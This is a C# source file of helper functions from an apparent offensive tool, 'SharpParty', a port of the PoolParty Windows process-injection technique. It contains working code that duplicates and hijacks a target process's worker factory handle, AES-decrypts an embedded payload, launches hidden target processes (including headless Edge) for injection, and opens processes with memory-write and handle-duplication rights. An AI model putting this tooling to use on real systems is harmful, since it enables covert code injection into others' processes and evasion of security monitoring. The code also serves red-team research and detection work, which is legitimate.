Files
2025-11-07 14:27:24 -05:00

263 lines
12 KiB
C#

/**
* BSD 3-Clause License
* Copyright (c) 2023-2024, SafeBreach Labs
* Copyright (c) 2025, Stroz Friedberg
* All rights reserved.
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
* 1. Redistributions of source code must retain the above copyright notice, this
* list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
* 3. Neither the name of the copyright holder nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
using System;
using System.Collections;
using System.IO;
using System.Runtime.ExceptionServices;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using static SharpParty.Enums;
using static SharpParty.Structs;
using static SharpParty.Win32;
using static SharpParty.Constants;
using System.Text;
namespace SharpParty
{
internal static class HelperFuncs
{
public static unsafe IntPtr NtQueryObjectImpl(IntPtr handle, _OBJECT_INFORMATION_CLASS objInfoClass)
{
IntPtr info = IntPtr.Zero;
ulong infoLen = 0;
uint ntStatus = STATUS_INFO_LENGTH_MISMATCH;
uint ctr = 0;
do
{
info = realloc(info, infoLen);
ntStatus = NtQueryObject(handle, objInfoClass, info, infoLen, ref infoLen);
ctr++;
} while (STATUS_INFO_LENGTH_MISMATCH == ntStatus & ctr <= 50);
return info;
}
public static unsafe _WORKER_FACTORY_BASIC_INFORMATION GetWorkerFactoryInfo(IntPtr handle, _QUERY_WORKERFACTORYINFOCLASS workerFactoryInfoClass)
{
IntPtr info = IntPtr.Zero;
ulong infoLen = 0;
uint ntStatus = STATUS_INFO_LENGTH_MISMATCH;
uint ctr = 0;
do
{
info = realloc(info, infoLen);
ntStatus = NtQueryInformationWorkerFactory(handle, workerFactoryInfoClass, info, infoLen, ref infoLen);
ctr++;
} while (STATUS_INFO_LENGTH_MISMATCH == ntStatus & ctr <= 50);
return *(_WORKER_FACTORY_BASIC_INFORMATION*)info;
}
[HandleProcessCorruptedStateExceptions]
public static unsafe PROCESS_HANDLE_SNAPSHOT_INFORMATION GetProcessHandleSnapshotInformation(IntPtr info)
{
_PROCESS_HANDLE_SNAPSHOT_INFORMATION* snapshotInfoPtr = (_PROCESS_HANDLE_SNAPSHOT_INFORMATION*)info;
int handlesSize = (int)snapshotInfoPtr->NumberOfHandles.ToInt64() * sizeof(PROCESS_HANDLE_TABLE_ENTRY_INFO);
if (handlesSize >= Int32.MaxValue | handlesSize <= 0)
{
Console.WriteLine("[-] ERROR: Array size is too big, most likely due to NumberOfHandles being incorrect or improper access of target process. Aborting handle hijacking..");
return new PROCESS_HANDLE_SNAPSHOT_INFORMATION();
}
PROCESS_HANDLE_TABLE_ENTRY_INFO[] handles = new PROCESS_HANDLE_TABLE_ENTRY_INFO[handlesSize];
for (int i = 0; i < handlesSize; i++)
{
IntPtr handlePtr = new IntPtr(&snapshotInfoPtr->Handles[i]);
try
{
handles[i] = Marshal.PtrToStructure<PROCESS_HANDLE_TABLE_ENTRY_INFO>(handlePtr);
}
catch (Exception)
{
handles[i] = new PROCESS_HANDLE_TABLE_ENTRY_INFO();
}
}
return new PROCESS_HANDLE_SNAPSHOT_INFORMATION
{
NumberOfHandles = snapshotInfoPtr->NumberOfHandles,
Reserved = snapshotInfoPtr->Reserved,
Handles = handles
};
}
// Based on: https://github.com/0xEr3bus/PoolPartyBof/blob/a6443ad782f7241a094e9751e0a77e24677e12b3/src/PoolPartyBof.h#L799
public static unsafe IntPtr HijackTargetHandle(IntPtr tProcHandle, string targetType)
{
Console.WriteLine("[*] Starting hijack of target processes' worker factory handle.");
IntPtr info = IntPtr.Zero;
ulong infoLen = 0;
uint ntStatus = STATUS_INFO_LENGTH_MISMATCH;
do
{
info = realloc(info, infoLen);
ntStatus = NtQueryInformationProcess(tProcHandle, PROCESSINFOCLASS.ProcessHandleInformation, info, infoLen, ref infoLen);
} while (STATUS_INFO_LENGTH_MISMATCH == ntStatus);
PROCESS_HANDLE_SNAPSHOT_INFORMATION procHandleInfo = GetProcessHandleSnapshotInformation(info);
for (int i = 0; i < procHandleInfo.Handles.Length; i++)
{
IntPtr duplicatedObject = IntPtr.Zero;
PROCESS_HANDLE_TABLE_ENTRY_INFO procHandleTable = procHandleInfo.Handles[i];
IntPtr procHandleValue = procHandleTable.HandleValue;
bool duped = DuplicateHandle(tProcHandle, procHandleValue, GetCurrentProcess(), ref duplicatedObject, (uint)WORKER_ACCESS_RIGHTS.WORKER_FACTORY_ALL_ACCESS, false, (DUPLICATE_HANDLE_OPTIONS)IntPtr.Zero);
if (!duped)
{
continue; // Go to next iteration to prevent access violation of accessing a handle that wasn't properly duped
}
IntPtr pObjectInfo = IntPtr.Zero;
pObjectInfo = NtQueryObjectImpl(duplicatedObject, _OBJECT_INFORMATION_CLASS.ObjectTypeInformation);
_PUBLIC_OBJECT_TYPE_INFORMATION* pObjTypeInfo = (_PUBLIC_OBJECT_TYPE_INFORMATION*)pObjectInfo;
if (!targetType.Equals(pObjTypeInfo->TypeName.ToString()))
{
continue; // Go to next iteration if we don't see the target type
}
return duplicatedObject;
}
return IntPtr.Zero;
}
public static T[] SubArray<T>(this T[] data, int index, int length)
{
T[] result = new T[length];
Array.Copy(data, index, result, 0, length);
return result;
}
public static byte[] aesDecrypt(byte[] cipher, byte[] key)
{
var IV = SubArray(cipher, 0, 16);
var encMsg = SubArray(cipher, 16, cipher.Length - 16);
using (Aes aes = Aes.Create())
{
aes.Padding = PaddingMode.PKCS7;
aes.KeySize = 128;
aes.Key = key;
aes.IV = IV;
using (MemoryStream ms = new MemoryStream())
{
using (CryptoStream cs = new CryptoStream(ms, aes.CreateDecryptor(), CryptoStreamMode.Write))
{
cs.Write(encMsg, 0, encMsg.Length);
}
return ms.ToArray();
}
}
}
public static int CreateTargetProcess(string name)
{
Console.WriteLine("[*] Creating target process (" + name + ") for injection.");
STARTUPINFO si = new STARTUPINFO();
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESHOWWINDOW;
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
string cmd = "";
if (name.EndsWith("msedge.exe"))
{
cmd = "\"" + name + "\" --user-data-dir=..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\Temp\\edge_data --headless=new https://exploit-db.com";
} else
{
cmd = "\"" + name + "\"";
}
bool res = CreateProcess(null, cmd, IntPtr.Zero, IntPtr.Zero, false, EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW | DETACHED_PROCESS, IntPtr.Zero, null, ref si, out pi);
if (res)
{
Console.WriteLine("[+] Target process created with PID = {0:d}", pi.dwProcessId);
return pi.dwProcessId;
}
else
{
Console.WriteLine("[*] DEBUG - Failed to create process with error code 0x{0:X16}", Marshal.GetLastWin32Error());
return -1;
}
}
public static string[] ValidateCandidates()
{
ArrayList candidates = new ArrayList();
foreach (string candidate in CreateCandidatesToCheck)
{
if (File.Exists(candidate))
{
candidates.Add(candidate);
}
}
return (string[])candidates.ToArray(typeof(string));
}
public static string PickCandidate(string[] candidates)
{
Random rnd = new Random();
int rndIdx = rnd.Next(0, candidates.Length);
return candidates[rndIdx];
}
public static IntPtr GetHandleForProc(int pid)
{
uint targetAccess = (uint)(PROCESS_ACCESS_RIGHTS.PROCESS_VM_READ | PROCESS_ACCESS_RIGHTS.PROCESS_VM_WRITE | PROCESS_ACCESS_RIGHTS.PROCESS_VM_OPERATION | PROCESS_ACCESS_RIGHTS.PROCESS_DUP_HANDLE | PROCESS_ACCESS_RIGHTS.PROCESS_QUERY_INFORMATION);
IntPtr tProcHandle = OpenProcess(targetAccess, false, pid);
if (tProcHandle == IntPtr.Zero)
{
int err = Marshal.GetLastWin32Error();
switch (err)
{
case 5:
Console.WriteLine("[-] ERROR: Access denied for target process. PoolParty failed.");
break;
default:
Console.WriteLine("[-] ERROR: Win32 API returned an error code (0x{0:X16}) - refer to https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55", err);
break;
}
return IntPtr.Zero;
}
Console.WriteLine("[+] Got handle to target process - (0x{0:X16})", tProcHandle.ToInt64());
return tProcHandle;
}
public static string genRandomName(int len)
{
Random rnd = new Random();
string alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
StringBuilder s = new StringBuilder(len);
for (int i = 0; i < len; i++)
{
s.Append(alpha[rnd.Next(alpha.Length)]);
}
return s.ToString();
}
}
}